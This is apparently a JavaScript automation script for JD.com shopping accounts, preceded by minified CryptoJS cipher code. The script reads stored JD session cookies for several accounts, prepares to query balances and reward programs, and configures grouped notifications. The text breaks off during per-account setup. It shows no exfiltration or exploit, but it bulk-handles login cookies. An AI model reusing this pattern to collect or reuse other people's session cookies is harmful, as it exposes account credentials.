t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= e } }, bt.pad.Iso97971 = { pad: function (t, e) { t.concat(bt.lib.WordArray.create([2147483648], 1)), bt.pad.ZeroPadding.pad(t, e) }, unpad: function (t) { bt.pad.ZeroPadding.unpad(t), t.sigBytes-- } }, bt.mode.OFB = (et = bt.lib.BlockCipherMode.extend(), rt = et.Encryptor = et.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), r.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[e + s] ^= o[s] } }), et.Decryptor = rt, et), bt.pad.NoPadding = { pad: function () { }, unpad: function () { } }, it = bt.lib.CipherParams, nt = bt.enc.Hex, bt.format.Hex = { stringify: function (t) { return t.ciphertext.toString(nt) }, parse: function (t) { var e = nt.parse(t); return it.create({ ciphertext: e }) } }, function () { var t = bt, e = t.lib.BlockCipher, r = t.algo, h = [], l = [], f = [], d = [], u = [], p = [], _ = [], v = [], y = [], g = []; !function () { for (var t = [], e = 0; e < 256; e++)t[e] = e < 128 ? e << 1 : e << 1 ^ 283; var r = 0, i = 0; for (e = 0; e < 256; e++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, h[r] = n; var o = t[l[n] = r], s = t[o], c = t[s], a = 257 * t[n] ^ 16843008 * n; f[r] = a << 24 | a >>> 8, d[r] = a << 16 | a >>> 16, u[r] = a << 8 | a >>> 24, p[r] = a; a = 16843009 * c ^ 65537 * s ^ 257 * o ^ 16843008 * r; _[n] = a << 24 | a >>> 8, v[n] = a << 16 | a >>> 16, y[n] = a << 8 | a >>> 24, g[n] = a, r ? (r = o ^ t[t[t[c ^ o]]], i ^= t[t[i]]) : r = i = 1 } }(); var B = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], i = r.AES = e.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, e = t.words, r = t.sigBytes / 4, i = 4 * (1 + (this._nRounds = 6 + r)), n = this._keySchedule = [], o = 0; o < i; o++)o < r ? n[o] = e[o] : (a = n[o - 1], o % r ? 6 < r && o % r == 4 && (a = h[a >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a]) : (a = h[(a = a << 8 | a >>> 24) >>> 24] << 24 | h[a >>> 16 & 255] << 16 | h[a >>> 8 & 255] << 8 | h[255 & a], a ^= B[o / r | 0] << 24), n[o] = n[o - r] ^ a); for (var s = this._invKeySchedule = [], c = 0; c < i; c++) { o = i - c; if (c % 4) var a = n[o]; else a = n[o - 4]; s[c] = c < 4 || o <= 4 ? a : _[h[a >>> 24]] ^ v[h[a >>> 16 & 255]] ^ y[h[a >>> 8 & 255]] ^ g[h[255 & a]] } } }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._keySchedule, f, d, u, p, h) }, decryptBlock: function (t, e) { var r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r, this._doCryptBlock(t, e, this._invKeySchedule, _, v, y, g, l); r = t[e + 1]; t[e + 1] = t[e + 3], t[e + 3] = r }, _doCryptBlock: function (t, e, r, i, n, o, s, c) { for (var a = this._nRounds, h = t[e] ^ r[0], l = t[e + 1] ^ r[1], f = t[e + 2] ^ r[2], d = t[e + 3] ^ r[3], u = 4, p = 1; p < a; p++) { var _ = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & d] ^ r[u++], v = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[d >>> 8 & 255] ^ s[255 & h] ^ r[u++], y = i[f >>> 24] ^ n[d >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ r[u++], g = i[d >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ r[u++]; h = _, l = v, f = y, d = g } _ = (c[h >>> 24] << 24 | c[l >>> 16 & 255] << 16 | c[f >>> 8 & 255] << 8 | c[255 & d]) ^ r[u++], v = (c[l >>> 24] << 24 | c[f >>> 16 & 255] << 16 | c[d >>> 8 & 255] << 8 | c[255 & h]) ^ r[u++], y = (c[f >>> 24] << 24 | c[d >>> 16 & 255] << 16 | c[h >>> 8 & 255] << 8 | c[255 & l]) ^ r[u++], g = (c[d >>> 24] << 24 | c[h >>> 16 & 255] << 16 | c[l >>> 8 & 255] << 8 | c[255 & f]) ^ r[u++]; t[e] = _, t[e + 1] = v, t[e + 2] = y, t[e + 3] = g }, keySize: 8 }); t.AES = e._createHelper(i) }(), function () { var t = bt, e = t.lib, n = e.WordArray, r = e.BlockCipher, i = t.algo, h = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], l = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], f = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], d = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], o = i.DES = r.extend({ _doReset: function () { for (var t = this._key.words, e = [], r = 0; r < 56; r++) { var i = h[r] - 1; e[r] = t[i >>> 5] >>> 31 - i % 32 & 1 } for (var n = this._subKeys = [], o = 0; o < 16; o++) { var s = n[o] = [], c = f[o]; for (r = 0; r < 24; r++)s[r / 6 | 0] |= e[(l[r] - 1 + c) % 28] << 31 - r % 6, s[4 + (r / 6 | 0)] |= e[28 + (l[r + 24] - 1 + c) % 28] << 31 - r % 6; s[0] = s[0] << 1 | s[0] >>> 31; for (r = 1; r < 7; r++)s[r] = s[r] >>> 4 * (r - 1) + 3; s[7] = s[7] << 5 | s[7] >>> 27 } var a = this._invSubKeys = []; for (r = 0; r < 16; r++)a[r] = n[15 - r] }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._subKeys) }, decryptBlock: function (t, e) { this._doCryptBlock(t, e, this._invSubKeys) }, _doCryptBlock: function (t, e, r) { this._lBlock = t[e], this._rBlock = t[e + 1], p.call(this, 4, 252645135), p.call(this, 16, 65535), _.call(this, 2, 858993459), _.call(this, 8, 16711935), p.call(this, 1, 1431655765); for (var i = 0; i < 16; i++) { for (var n = r[i], o = this._lBlock, s = this._rBlock, c = 0, a = 0; a < 8; a++)c |= d[a][((s ^ n[a]) & u[a]) >>> 0]; this._lBlock = s, this._rBlock = o ^ c } var h = this._lBlock; this._lBlock = this._rBlock, this._rBlock = h, p.call(this, 1, 1431655765), _.call(this, 8, 16711935), _.call(this, 2, 858993459), p.call(this, 16, 65535), p.call(this, 4, 252645135), t[e] = this._lBlock, t[e + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); function p(t, e) { var r = (this._lBlock >>> t ^ this._rBlock) & e; this._rBlock ^= r, this._lBlock ^= r << t } function _(t, e) { var r = (this._rBlock >>> t ^ this._lBlock) & e; this._lBlock ^= r, this._rBlock ^= r << t } t.DES = r._createHelper(o); var s = i.TripleDES = r.extend({ _doReset: function () { var t = this._key.words; if (2 !== t.length && 4 !== t.length && t.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); var e = t.slice(0, 2), r = t.length < 4 ? t.slice(0, 2) : t.slice(2, 4), i = t.length < 6 ? t.slice(0, 2) : t.slice(4, 6); this._des1 = o.createEncryptor(n.create(e)), this._des2 = o.createEncryptor(n.create(r)), this._des3 = o.createEncryptor(n.create(i)) }, encryptBlock: function (t, e) { this._des1.encryptBlock(t, e), this._des2.decryptBlock(t, e), this._des3.encryptBlock(t, e) }, decryptBlock: function (t, e) { this._des3.decryptBlock(t, e), this._des2.encryptBlock(t, e), this._des1.decryptBlock(t, e) }, keySize: 6, ivSize: 2, blockSize: 2 }); t.TripleDES = r._createHelper(s) }(), function () { var t = bt, e = t.lib.StreamCipher, r = t.algo, i = r.RC4 = e.extend({ _doReset: function () { for (var t = this._key, e = t.words, r = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; n = 0; for (var o = 0; n < 256; n++) { var s = n % r, c = e[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + c) % 256; var a = i[n]; i[n] = i[o], i[o] = a } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= n.call(this) }, keySize: 8, ivSize: 0 }); function n() { for (var t = this._S, e = this._i, r = this._j, i = 0, n = 0; n < 4; n++) { r = (r + t[e = (e + 1) % 256]) % 256; var o = t[e]; t[e] = t[r], t[r] = o, i |= t[(t[e] + t[r]) % 256] << 24 - 8 * n } return this._i = e, this._j = r, i } t.RC4 = e._createHelper(i); var o = r.RC4Drop = i.extend({ cfg: i.cfg.extend({ drop: 192 }), _doReset: function () { i._doReset.call(this); for (var t = this.cfg.drop; 0 < t; t--)n.call(this) } }); t.RC4Drop = e._createHelper(o) }(), bt.mode.CTRGladman = (ot = bt.lib.BlockCipherMode.extend(), st = ot.Encryptor = ot.extend({ processBlock: function (t, e) { var r, i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), 0 === ((r = s)[0] = Et(r[0])) && (r[1] = Et(r[1])); var c = s.slice(0); i.encryptBlock(c, 0); for (var a = 0; a < n; a++)t[e + a] ^= c[a] } }), ot.Decryptor = st, ot), at = (ct = bt).lib.StreamCipher, ht = ct.algo, lt = [], ft = [], dt = [], ut = ht.Rabbit = at.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = 0; r < 4; r++)t[r] = 16711935 & (t[r] << 8 | t[r] >>> 24) | 4278255360 & (t[r] << 24 | t[r] >>> 8); var i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; for (r = this._b = 0; r < 4; r++)Rt.call(this); for (r = 0; r < 8; r++)n[r] ^= i[r + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; n[0] ^= a, n[1] ^= l, n[2] ^= h, n[3] ^= f, n[4] ^= a, n[5] ^= l, n[6] ^= h, n[7] ^= f; for (r = 0; r < 4; r++)Rt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Rt.call(this), lt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, lt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, lt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, lt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)lt[i] = 16711935 & (lt[i] << 8 | lt[i] >>> 24) | 4278255360 & (lt[i] << 24 | lt[i] >>> 8), t[e + i] ^= lt[i] }, blockSize: 4, ivSize: 2 }), ct.Rabbit = at._createHelper(ut), bt.mode.CTR = (pt = bt.lib.BlockCipherMode.extend(), _t = pt.Encryptor = pt.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); r.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var c = 0; c < i; c++)t[e + c] ^= s[c] } }), pt.Decryptor = _t, pt), yt = (vt = bt).lib.StreamCipher, gt = vt.algo, Bt = [], wt = [], kt = [], St = gt.RabbitLegacy = yt.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], i = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]], n = this._b = 0; n < 4; n++)Mt.call(this); for (n = 0; n < 8; n++)i[n] ^= r[n + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; i[0] ^= a, i[1] ^= l, i[2] ^= h, i[3] ^= f, i[4] ^= a, i[5] ^= l, i[6] ^= h, i[7] ^= f; for (n = 0; n < 4; n++)Mt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Mt.call(this), Bt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, Bt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, Bt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, Bt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)Bt[i] = 16711935 & (Bt[i] << 8 | Bt[i] >>> 24) | 4278255360 & (Bt[i] << 24 | Bt[i] >>> 8), t[e + i] ^= Bt[i] }, blockSize: 4, ivSize: 2 }), vt.RabbitLegacy = yt._createHelper(St), bt.pad.ZeroPadding = { pad: function (t, e) { var r = 4 * e; t.clamp(), t.sigBytes += r - (t.sigBytes % r || r) }, unpad: function (t) { var e = t.words, r = t.sigBytes - 1; for (r = t.sigBytes - 1; 0 <= r; r--)if (e[r >>> 2] >>> 24 - r % 4 * 8 & 255) { t.sigBytes = r + 1; break } } }, bt }); + +const $ = new Env('京东资产变动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const JXUserAgent = $.isNode() ? (process.env.JX_USER_AGENT ? process.env.JX_USER_AGENT : ``) : ``; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let allMessage = ''; +let allMessage2 = ''; +let allReceiveMessage = ''; +let allWarnMessage = ''; +let ReturnMessage = ''; +let ReturnMessageMonth = ''; +let allMessageMonth = ''; + +let MessageUserGp2 = ''; +let ReceiveMessageGp2 = ''; +let WarnMessageGp2 = ''; +let allMessageGp2 = ''; +let allMessage2Gp2 = ''; +let allMessageMonthGp2 = ''; +let IndexGp2 = 0; + +let MessageUserGp3 = ''; +let ReceiveMessageGp3 = ''; +let WarnMessageGp3 = ''; +let allMessageGp3 = ''; +let allMessage2Gp3 = ''; +let allMessageMonthGp3 = ''; +let IndexGp3 = 0; + +let MessageUserGp4 = ''; +let ReceiveMessageGp4 = ''; +let WarnMessageGp4 = ''; +let allMessageGp4 = ''; +let allMessageMonthGp4 = ''; +let allMessage2Gp4 = ''; +let IndexGp4 = 0; + +let notifySkipList = ""; +let IndexAll = 0; +let EnableMonth = "false"; +let isSignError = false; +let ReturnMessageTitle=""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let intPerSent = 0; +let i = 0; +let DisableCash = "false"; +let llShowMonth = false; +let Today = new Date(); +let RemainMessage = '\n'; +RemainMessage += "⭕提醒:⭕" + '\n'; +RemainMessage += '【极速金币】京东极速版->我的->金币(极速版使用)\n'; +RemainMessage += '【京东赚赚】微信->京东赚赚小程序->底部赚好礼->提现无门槛红包(京东使用)\n'; +RemainMessage += '【京东秒杀】京东->中间频道往右划找到京东秒杀->中间点立即签到->兑换无门槛红包(京东使用)\n'; +RemainMessage += '【东东萌宠】京东->我的->东东萌宠,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【领现金】京东->我的->东东萌宠->领现金(微信提现+京东红包)\n'; +RemainMessage += '【东东农场】京东->我的->东东农场,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【京喜工厂】京喜->我的->京喜工厂,完成是商品红包,用于购买指定商品(不兑换会过期)\n'; +RemainMessage += '【其他】京喜红包只能在京喜使用,其他同理'; + +let WP_APP_TOKEN_ONE = ""; +let TempBaipiao = ""; +if ($.isNode() && process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +if ($.isNode() && process.env.BEANCHANGE_PERSENT) { + intPerSent = parseInt(process.env.BEANCHANGE_PERSENT); + console.log(`检测到设定了分段通知:` + intPerSent); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送2,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送3,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送4,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_DISABLECASH) { + DisableCash = process.env.BEANCHANGE_DISABLECASH; +} +if ($.isNode() && process.env.BEANCHANGE_ENABLEMONTH) { + EnableMonth = process.env.BEANCHANGE_ENABLEMONTH; +} + +if (EnableMonth == "true" && Today.getDate() == 1 && Today.getHours() > 17) + llShowMonth = true; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.todayOutcomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.levelName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + $.JdzzNum = 0; + $.JdMsScore = 0; + $.JdFarmProdName = ''; + $.JdtreeEnergy = 0; + $.JdtreeTotalEnergy = 0; + $.treeState = 0; + $.JdwaterTotalT = 0; + $.JdwaterD = 0; + $.JDwaterEveryDayT = 0; + $.JDtotalcash = 0; + $.JDEggcnt = 0; + $.Jxmctoken = ''; + $.DdFactoryReceive = ''; + $.jxFactoryInfo = ''; + $.jxFactoryReceive = ''; + $.jdCash = 0; + $.isPlusVip = 0; + 